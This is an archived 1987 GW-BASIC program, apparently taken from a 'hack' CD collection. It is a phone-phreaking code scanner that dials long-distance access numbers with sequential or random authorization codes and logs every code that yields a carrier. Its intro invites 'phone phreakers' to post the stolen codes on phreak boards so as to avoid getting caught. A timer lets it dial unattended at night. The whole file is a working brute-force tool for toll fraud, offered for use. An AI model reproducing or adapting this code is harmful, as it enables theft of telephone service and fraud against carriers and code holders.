home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / IBMHACK.ZIP / IBMHACK.BAS (.txt)
Encoding:
GW-BASIC  |  1987-10-30  |  11.9 KB  |  327 lines
  1. 10  REM     BASENUM's   # of DIGITS  Gripes
  2. 20  REM     ----------  -----------  ------
  3. 30  REM      950-0220   123456    gives fake carrier
  4. 40  REM      950-0777   12345678  hard to hack
  5. 50  REM      or 1800 332-0777
  6. 60  REM      450-5850   12345     easy to hack
  7. 70  REM      950-1033   123456    fairly easy to hack
  8. 80  REM  1800638-1996   123456    ok
  9. 90  REM  1800446-4462   123456    ok
  10. 100  REM
  11. 110  DIM RNDCODE(20)
  12. 120  COLOR 7,0
  13. 130  FALSE=0:TRUE=1:FLAG=FALSE:BIGCODE=FALSE:SPEAKER=TRUE:CLOCK=FALSE
  14. 140  REM ====================   MAIN PROGRAM  ========================
  15. 150  CLS :KEY OFF
  16. 160  GOSUB 420   'intro
  17. 170  GOSUB 620   'defaults  -read data
  18. 180  CLS:INPUT "defaults o.k.? (Y)";OT$:IF OT$="N"OR OT$="n" THEN 190 ELSE 200
  19. 190  GOSUB 1060   'dialing   info
  20. 200  GOSUB 1770  'dialing display
  21. 210  E$=INKEY$
  22. 220    IF E$="b" OR E$="B" THEN LOCATE 20,10:PRINT "  ->":GOSUB 2860:GOTO 290
  23. 230    IF E$="c" OR E$="C" THEN LOCATE 21,10:PRINT "  ->":GOSUB 2860:GOTO 190
  24. 240    IF E$="S" OR E$="s" THEN LOCATE 22,10:PRINT "  ->":GOSUB 2560:GOTO 200
  25. 250    IF E$="Q" OR E$="q" THEN LOCATE 23,10:PRINT "  ->":GOSUB 2860 :GOTO 320
  26. 260  IF FLAG=TRUE THEN GOTO 290
  27. 270   IF E$="a" OR E$="A" THEN LOCATE 19,10:FLAG=TRUE:PRINT "  ->"                    :GOSUB 2860:GOTO 290
  28. 280  GOTO 210
  29. 290  IF CLOCK=TRUE THEN IF ENDTIME$ < TIME$ THEN CLS:END
  30. 300   GOSUB 2030 'dialing  nitty gritty malitty stuff
  31. 310  GOTO 200
  32. 320  INPUT "Do you want to save parameters (Y or N)";ANS$
  33. 330  IF ANS$="y" OR ANS$="Y" THEN GOTO 360
  34. 340  REM ================   end    ==================================
  35. 350  GOTO 410
  36. 360  OPEN "dialcomm.inf" FOR OUTPUT AS#1:PRINT#1,DIALCOMM$:CLOSE#1
  37. 370  OPEN "basenum.inf"  FOR OUTPUT AS#1:PRINT#1,BASENUM$ :CLOSE#1
  38. 380  OPEN "comma.inf"    FOR OUTPUT AS#1:PRINT#1,CHR$(34)+COMMA$+CHR$(34):CLOSE#1
  39. 390  OPEN "currcode.inf" FOR OUTPUT AS#1:PRINT#1,CURRCODE$:CLOSE#1
  40. 400  OPEN "carrier.inf"  FOR OUTPUT AS#1:PRINT#1,CARRIER$ :CLOSE#1
  41. 410  SYSTEM
  42. 420  REM ==================  Intro  Stuff  ========================
  43. 430  PRINT "Welcome to the PHRACK - phreak program."
  44. 440  PRINT "    For phone phreakers of all ages."
  45. 450  PRINT "This program was designed for an IBM pc with a Hayes internal modem."
  46. 460  PRINT:PRINT "For this program to work successfully we need to know
  47. 470  PRINT "several things;"
  48. 480  PRINT"
  49. 490  PRINT "           1)  The dialing command for your modem
  50. 500  PRINT "           2)  The base number for the co.     i.e. 950-1033
  51. 510  PRINT "           3)  The number of comma's OR                                                           TIME DELAY FOR CODE 1COMMA=2SEC's"
  52. 520  PRINT "           4)  The starting code, and ending code.
  53. 530  PRINT "           5)  The carrier number."
  54. 540  PRINT"
  55. 550  PRINT "The carrier number has to be a number that will answer the phone "
  56. 560  PRINT "with a carrier EVERY time. you can use ULTRA.EXE from Comworx. OR"
  57. 570  PRINT "use this prog. OR find the number of a pathetic BBS and use it."
  58. 580  PRINT"      POST THE NUMBERS YOU FIND ON A PHREAK BOARD"
  59. 590  PRINT "   Remember:Posting and sharing decreases the chance of a single "
  60. 600  PRINT "phreaker getting caught."
  61. 610  RETURN
  62. 620  REM =================  Default  Routine  ====================
  63. 630  REM
  64. 640  OPEN"com1:" AS #3 :PRINT #3,"AT S11=50":PRINT #3,"AT S7=60":CLOSE #3
  65. 650  ON ERROR GOTO 680
  66. 660    OPEN"DIALCOMM.INF" FOR INPUT AS#1:INPUT#1,DIALCOMM$  'Get Dial Command
  67. 670    GOTO 700
  68. 680  CLOSE#1:OPEN"DIALCOMM.INF" FOR OUTPUT AS#1
  69. 690    DIALCOMM$="ATDT":PRINT#1,"ATDT" :RESUME NEXT        'Create Dial Command
  70. 700  CLOSE#1
  71. 710  REM
  72. 720  ON ERROR GOTO 750
  73. 730    OPEN"BASENUM.INF" FOR INPUT AS#1:INPUT#1,BASENUM$   'Get Base Number
  74. 740    GOTO 770
  75. 750  CLOSE#1:OPEN"BASENUM.INF" FOR OUTPUT AS#1
  76. 760   BASENUM$="950-1033":PRINT#1,"950-1033" :RESUME NEXT   'Create Base Number
  77. 770  CLOSE#1
  78. 780  REM
  79. 790  ON ERROR GOTO 820
  80. 800    OPEN "COMMA.INF" FOR INPUT AS#1:INPUT#1,COMMA$         'Get Comma List
  81. 810  GOTO 840
  82. 820  CLOSE #1:OPEN"COMMA.INF" FOR OUTPUT AS#1
  83. 830   COMMA$=",,,,,":PRINT#1,CHR$(43)+",,,,,"+CHR$(43):RESUME NEXT'Create Comma
  84. 840  CLOSE#1
  85. 850  REM
  86. 860  ON ERROR GOTO 900
  87. 870    OPEN"CURRCODE.INF" FOR INPUT AS#1                'Load previous code
  88. 880    INPUT#1,CURRCODE$
  89. 890     GOTO 920
  90. 900   CLOSE#1:OPEN"CURRCODE.INF" FOR OUTPUT AS#1
  91. 910    CURRCODE$="000000":PRINT#1,"000000" :RESUME NEXT     'Create code
  92. 920  CLOSE #1
  93. 930  REM
  94. 940  ON ERROR GOTO 970
  95. 950  CLOSE#1:OPEN"CARRIER.INF" FOR INPUT AS#1 :INPUT#1,CARRIER$  'Get Carrier
  96. 960   GOTO 990
  97. 970  CLOSE#1:OPEN"CARRIER.INF" FOR OUTPUT AS#1
  98. 980   CARRIER$="414-964-5160" :PRINT#1,"414-964-5160" :RESUME NEXT 'Create Car
  99. 990  ON ERROR GOTO 0:CLOSE #1
  100. 1000  ON ERROR GOTO 0:CLOSE #1
  101. 1010  LOCATE 23,20:PRINT "press <SPACE BAR> or <RETURN> to continue"
  102. 1020  E$=INKEY$:IF E$=" " THEN 1050 ELSE IF E$=CHR$(13) THEN 1050
  103. 1030  GOTO 1020
  104. 1040  REM
  105. 1050  RETURN
  106. 1060  REM =================  DIAL COMMAND info   ====================
  107. 1070  CLS:PRINT "     Now we need to know that information as outlined
  108. 1080  PRINT"     on the previous page."
  109. 1090  LOCATE 6,10:PRINT "The Current DIALING COMMAND is '";
  110. 1100  COLOR 3:PRINT DIALCOMM$;:COLOR 7:PRINT "'"
  111. 1110  COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
  112. 1120  E$=INKEY$:IF E$="y" OR E$="Y" THEN 1180 ELSE IF E$="n" OR E$="N" THEN 1140
  113. 1130  GOTO 1120
  114. 1140  LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
  115. 1150  CLOSE#1:OPEN"DIALCOMM.INF" FOR OUTPUT AS#1
  116. 1160  PRINT:INPUT " Then what do you want it to be ";DIALCOMM$:PRINT#1,DIALCOMM$
  117. 1170  CLOSE#1:GOTO 1200
  118. 1180  LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
  119. 1190  REM
  120. 1200  REM ----------------=  BASE NUMBER  =-------------------------
  121. 1210  CLS:PRINT "     Now we need to know that information as outlined
  122. 1220  PRINT"     on the first page. Please answer 'Y' or 'N' for the Question"
  123. 1230  LOCATE 6,10:PRINT "The Current BASE NUMBER  is ";
  124. 1240  COLOR 3:PRINT BASENUM$:COLOR 7
  125. 1250  COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
  126. 1260  E$=INKEY$:IF E$="y" OR E$="Y" THEN 1320 ELSE IF E$="n" OR E$="N" THEN 1280
  127. 1270  GOTO 1260
  128. 1280  LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
  129. 1290  CLOSE#1:OPEN"BASENUM.INF" FOR OUTPUT AS#1
  130. 1300  PRINT:INPUT " Then what do you want it to be ";BASENUM$:PRINT#1,BASENUM$
  131. 1310  CLOSE #1:GOTO 1340
  132. 1320  LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
  133. 1330  REM
  134. 1340  REM ----------------=  COMMA's   =----------------------------
  135. 1350  CLS:PRINT "     Now we need to know that information as outlined
  136. 1360  PRINT"     on the first page. Please answer 'Y' or 'N' for the Question"
  137. 1370  LOCATE 6,10:PRINT "The Current list of COMMA's is '";COMMA$;"'"
  138. 1380  COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
  139. 1390  E$=INKEY$:IF E$="y" OR E$="Y" THEN 1460 ELSE IF E$="n" OR E$="N" THEN 1410
  140. 1400  GOTO 1390
  141. 1410  LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
  142. 1420  CLOSE#1:OPEN"COMMA.INF" FOR OUTPUT AS#1
  143. 1430  PRINT:PRINT" Make sure you use Quotes. I.E."+CHR$(34)+",,,,"+CHR$(34)
  144. 1440  PRINT:INPUT " Then what do you want it to be ";COMMA$
  145. 1450  PRINT #1,CHR$(34)+COMMA$+CHR$(34):CLOSE#1:GOTO 1480
  146. 1460  LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
  147. 1470  REM
  148. 1480  REM ----------------=  CODE  =--------------------------------
  149. 1490  CLS:PRINT "     Now we need to know that information as outlined
  150. 1500  PRINT"     on the first page. Please answer 'Y' or 'N' for the Question"
  151. 1510  LOCATE 6,10:PRINT "The Current CODE is ";
  152. 1520  COLOR 3:PRINT CURRCODE$:COLOR 7
  153. 1530  COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
  154. 1540  E$=INKEY$:IF E$="y" OR E$="Y" THEN 1610 ELSE IF E$="n" OR E$="N" THEN 1560
  155. 1550  GOTO 1540
  156. 1560  LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
  157. 1570  CLOSE#1:OPEN"CURRCODE.INF" FOR OUTPUT AS#1
  158. 1580  PRINT:INPUT " Then what do you want it to be ";CURRCODE$:PRINT#1,CURRCODE$
  159. 1590  IF LEN(CURRCODE$) >9 THEN PRINT "no more than 9 digits":GOTO 1580
  160. 1600  CLOSE#1:GOTO 1630
  161. 1610  LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
  162. 1620  REM
  163. 1630  REM ----------------=  CARRIER  =-----------------------------
  164. 1640  CLS:PRINT "     Now we need to know that information as outlined
  165. 1650  PRINT"     on the first page. Please answer 'Y' or 'N' for the Question
  166. 1660  LOCATE 6,10:PRINT "The Current CARRIER is   ";
  167. 1670  COLOR 3:PRINT CARRIER$:COLOR 7
  168. 1680  COLOR 7:LOCATE 7,10:PRINT "Shall we keep it (Y or N)->"
  169. 1690  E$=INKEY$:IF E$="y" OR E$="Y" THEN 1750 ELSE IF E$="n" OR E$="N" THEN 1710
  170. 1700  GOTO 1690
  171. 1710  LOCATE 7,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
  172. 1720  CLOSE#1:OPEN"CARRIER.INF" FOR OUTPUT AS#1
  173. 1730  PRINT:INPUT " Then what do you want it to be ";CARRIER$:PRINT#1,CARRIER$
  174. 1740  CLOSE #1:GOTO 1630
  175. 1750  LOCATE 7,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
  176. 1760  RETURN
  177. 1770  REM ================= Dialing DISPLAY =========================
  178. 1780  CLS
  179. 1790  COLOR 7
  180. 1800  LOCATE 2,10:PRINT "These are the current information parameters"
  181. 1810  COLOR 7
  182. 1820  LOCATE 4,5 :PRINT "DIALING COMMAND"
  183. 1830  LOCATE 4,28:PRINT "BASE NUMBER"
  184. 1840  LOCATE 4,48:PRINT "COMMA's (or 2 second delays)"
  185. 1850  LOCATE 8,5:PRINT "CURRENT CODE"
  186. 1860  LOCATE 8,29:PRINT "CARRIER NUMBER"
  187. 1870  IF RANDOM=TRUE THEN LOCATE 11,5:PRINT"Randomize  -=<ON>=-"
  188. 1880  COLOR 3
  189. 1890  LOCATE 5,7:PRINT DIALCOMM$
  190. 1900  LOCATE 5,29:PRINT BASENUM$
  191. 1910  LOCATE 5,52:PRINT COMMA$
  192. 1920  LOCATE 9,7:PRINT CURRCODE$
  193. 1930  LOCATE 9,30:PRINT CARRIER$
  194. 1940  CLOSE :COLOR 9,7
  195. 1950  LOCATE 19,15:PRINT " <A>uto Dialing      "
  196. 1960  IF FLAG=TRUE THEN 2010
  197. 1970  LOCATE 20,15:PRINT " <B>egin Dialing     "
  198. 1980  LOCATE 21,15:PRINT " <C>hange parameters "
  199. 1990  LOCATE 22,15:PRINT " <S>pecial Features  "
  200. 2000  LOCATE 23,15:PRINT " <Q>uit to DOS       "
  201. 2010  COLOR 7,0
  202. 2020  RETURN
  203. 2030  REM ========--Actual nitty gritty dialing --=================
  204. 2040   LOCATE 18,45:PRINT "Current Status :";
  205. 2050  COLOR 3:LOCATE 18,62:PRINT "Dialing"
  206. 2060  OPEN"COM1:" AS #3
  207. 2070  DIALINE$=DIALCOMM$+BASENUM$+COMMA$+CURRCODE$+CARRIER$
  208. 2080  PRINT#3,DIALINE$
  209. 2090  REM  ================  Carrier Detect Loop  =================
  210. 2100  COLOR 3:LOCATE 18,62:PRINT "Waiting-Carrier":COLOR 7
  211. 2110  COLOR 7:LOCATE 19,55:PRINT "Hit <A> to Abort call":COLOR 7
  212. 2120  COLOR 7:LOCATE 20,55:PRINT "Hit <S> to stop Autodial":COLOR 7
  213. 2130  COLOR 9,7:LOCATE 22,55:PRINT "TIMEOUT:":COLOR 7,0
  214. 2140  FOR XR=1 TO 1100
  215. 2150  E$=INKEY$:IF E$="A" OR E$="a" THEN COLOR 4:LOCATE 18,62:PRINT #3,"ATH":         PRINT "ABORT          ":GOSUB 2860:COLOR 7:GOTO 2230
  216. 2160  IF E$="S" OR E$="s" THEN COLOR 4:LOCATE 18,62:FLAG=FLASE:PRINT #3,"ATH":        PRINT "STOP AUTODIAL  ":GOSUB 2860:COLOR 7:GOTO 2230
  217. 2170  HXFE = &H3FE
  218. 2180  CD = INP(HXFE)
  219. 2190  CD = CD AND 128
  220. 2200  IF CD = 128 THEN 2490 'save the darn thing!
  221. 2210  LOCATE 22,64:PRINT 1100-XR
  222. 2220  NEXT XR
  223. 2230  REM ----------------=  Increment Routine  =-----------------
  224. 2240  COLOR 3:LOCATE 18,62:PRINT "Increment Code ":COLOR 7
  225. 2250  IF RANDOM=TRUE THEN GOSUB 2310:GOTO 2300        'random generator
  226. 2260  IF LEN(CURRCODE$)>7 THEN GOSUB 2440:GOTO 2300   'bigcode
  227. 2270     X=VAL(CURRCODE$)
  228. 2280        X=X+1
  229. 2290     CURRCODE$=MID$(STR$(X),2)
  230. 2300  RETURN
  231. 2310  REM ----Random?----Bigcode?------------
  232. 2320  RANDOMIZE TIMER
  233. 2330  CODELEN=LEN(CURRCODE$)
  234. 2340  CURRCODE$=""
  235. 2350  FOR LOOP= 1 TO CODELEN
  236. 2360  RNDCODE(LOOP)=INT(RND*(9+0))
  237. 2370  NEXT LOOP
  238. 2380  REM
  239. 2390  FOR LOOP= 1 TO CODELEN
  240. 2400  CURRCODE$=CURRCODE$+MID$(STR$(RNDCODE(LOOP)),2)
  241. 2410  NEXT LOOP
  242. 2420  RETURN
  243. 2430  REM ----------===Bigcode  (more than 8 char's)===----------
  244. 2440  BIGCODE=TRUE:LEFTCODE$=LEFT$(CURRCODE$,3)
  245. 2450  RIGHTCODE$=MID$(CURRCODE$,4)
  246. 2460  X=VAL(RIGHTCODE$):X=X+1:RIGHTCODE$=STR$(X)
  247. 2470  CURRCODE$=MID$(LEFTCODE$,2)+MID$(RIGHTCODE$,2)
  248. 2480  RETURN
  249. 2490  REM =================  SAVE CODE BABY!  =====================
  250. 2500  COLOR 20:LOCATE 18,62:PRINT "Carrier Detect ":COLOR 7
  251. 2510     PRINT #3,"ATH"
  252. 2520     OPEN"C:NUMBERS" FOR APPEND AS #2
  253. 2530     PRINT #2,BASENUM$,CURRCODE$,DATE$,TIME$
  254. 2540  GOSUB 2230 'increment
  255. 2550  RETURN
  256. 2560  REM ===================  Special Features  =========================
  257. 2570  REM
  258. 2580  CLS:PRINT"=================  Special Features  =========================
  259. 2590  LOCATE 4,10:PRINT" <R> Randomize  Codesearch  (On AUTODIAL mode only)"
  260. 2600  LOCATE 5,10:PRINT" <S>PEAKER ON or OFF"
  261. 2610  LOCATE 6,10:PRINT" <L>ATE NIGHT CALLING- SET TIMER"
  262. 2620  LOCATE 7,10:PRINT" <Q> Quit"
  263. 2630  E$=INKEY$:IF E$="r" OR E$="R" THEN 2680
  264. 2640  IF E$="S" OR E$="s" THEN OPEN "COM1:" AS #3:PRINT#3,"ATM":CLOSE:GOTO 2720
  265. 2650  IF E$="L" OR E$="l" THEN 2940
  266. 2660  IF E$="q" OR E$="Q" THEN 2790
  267. 2670  GOTO 2630
  268. 2680  IF RANDOM=TRUE THEN 2700 ELSE 2690
  269. 2690  LOCATE 10,10:PRINT "Randomize Special Feature -=<ON>=- ":RANDOM=TRUE            :GOTO 2780
  270. 2700  LOCATE 10,10:PRINT "Randomize Special Feature -=<OFF>=-":RANDOM=FALSE
  271. 2710  GOTO 2780
  272. 2720  IF SPEAKER=FALSE THEN 2730 ELSE 2760
  273. 2730  LOCATE 10,10:PRINT "Modem Speaker  -=<ON>=-":SPEAKER=TRUE
  274. 2740  OPEN "COM1:" AS #3:PRINT#3,"ATM1":CLOSE #3
  275. 2750  GOTO 2780
  276. 2760  LOCATE 10,10:PRINT "Modem Speaker  -=<OFF>=-":SPEAKER=FALSE
  277. 2770  OPEN "COM1:" AS #3:PRINT#3,"ATM":CLOSE #3
  278. 2780  GOSUB 2810:GOTO 2580
  279. 2790  RETURN
  280. 2800  REM---------------------- Delay subroutines ------------------------
  281. 2810  FOR X= 1 TO 100: NEXT X
  282. 2820  FOR X= 1 TO 100: NEXT X
  283. 2830  FOR X= 1 TO 100: NEXT X
  284. 2840  FOR X= 1 TO 100: NEXT X
  285. 2850  FOR X= 1 TO 100: NEXT X
  286. 2860  FOR X= 1 TO 100: NEXT X
  287. 2870  FOR X= 1 TO 100: NEXT X
  288. 2880  FOR X= 1 TO 100: NEXT X
  289. 2890  FOR X= 1 TO 100: NEXT X
  290. 2900  FOR X= 1 TO 100: NEXT X
  291. 2910  FOR X= 1 TO 100: NEXT X
  292. 2920   RETURN
  293. 2930  REM =-=-=-=-=-=-=-=-=-=-=-=-> TIMER ROUTINE <-=-=-=-=-=-=-=-=-=-=-=-=-=
  294. 2940  CLS:LOCATE 4,30:PRINT "TIMER ROUTINE"
  295. 2950  PRINT:PRINT:PRINT"The timer will just turn the AUTODIAL command ON at at set time."
  296. 2960  PRINT:PRINT"Are you sure the current parameters are the ones you are happy with ?"
  297. 2970  PRINT:PRINT"                            Hit  'Y'  or  'N'"
  298. 2980  E$=INKEY$:IF E$="y" OR E$="Y" THEN 3000 ELSE IF E$="n" OR E$="N" THEN 3010
  299. 2990  GOTO 2980
  300. 3000  LOCATE 15,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860:CLS:GOTO 3020
  301. 3010  LOCATE 15,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860:GOTO 200
  302. 3020  LOCATE 7,15:PRINT "Make Sure TIME is correct"
  303. 3030  LOCATE 9,25:PRINT "The time is......";TIME$
  304. 3040  COLOR 7:LOCATE 11,10:PRINT "Shall we keep it (Y or N)->"
  305. 3050  E$=INKEY$:IF E$="y" OR E$="Y" THEN 3100 ELSE IF E$="n" OR E$="N" THEN 3070
  306. 3060  GOTO 3050
  307. 3070  LOCATE 11,38 :COLOR 4:PRINT "NO" :COLOR 7:GOSUB 2860
  308. 3080  LOCATE 13,9:INPUT"Then what do you want it to be ";CHNGTIME$
  309. 3090  TIME$=CHNGTIME$:GOTO 3120
  310. 3100  LOCATE 11,38 :COLOR 2:PRINT"YES":COLOR 7:GOSUB 2860
  311. 3110  REM
  312. 3120  LOCATE 15,8:LINE INPUT "Enter AUTOmatic AUTODIAL turn ON >";STRTIME$
  313. 3130  LOCATE 16,8:LINE INPUT "Enter AUTOmatic AUTODIAL turn OFF>";ENDTIME$
  314. 3140  LOCATE 18,8:INPUT "Is this correct (Y OR N) ";CO$
  315. 3150  IF CO$="n" OR CO$="N" THEN CLS:GOTO 2940
  316. 3160  CLS:LOCATE 7,15:PRINT"When the time equals your set time, dialing will begin at your set parameters."
  317. 3170  LOCATE 10,20:PRINT"Begin Dialing at ";STRTIME$
  318. 3180  LOCATE 11,20:PRINT"  End Dialing at ";ENDTIME$
  319. 3190  LOCATE 23,10:PRINT "screen clears to prevent screen burn-in"
  320. 3200  IF TIME$ < STRTIME$ THEN 3210 ELSE 3240
  321. 3210    TIM=TIM+1
  322. 3220    IF TIM=3000 THEN CLS
  323. 3230  GOTO 3200
  324. 3240  REM
  325. 3250  CLOCK=TRUE:FLAG=TRUE:SPEAKER=FALSE
  326. 3260  GOTO 200
  327.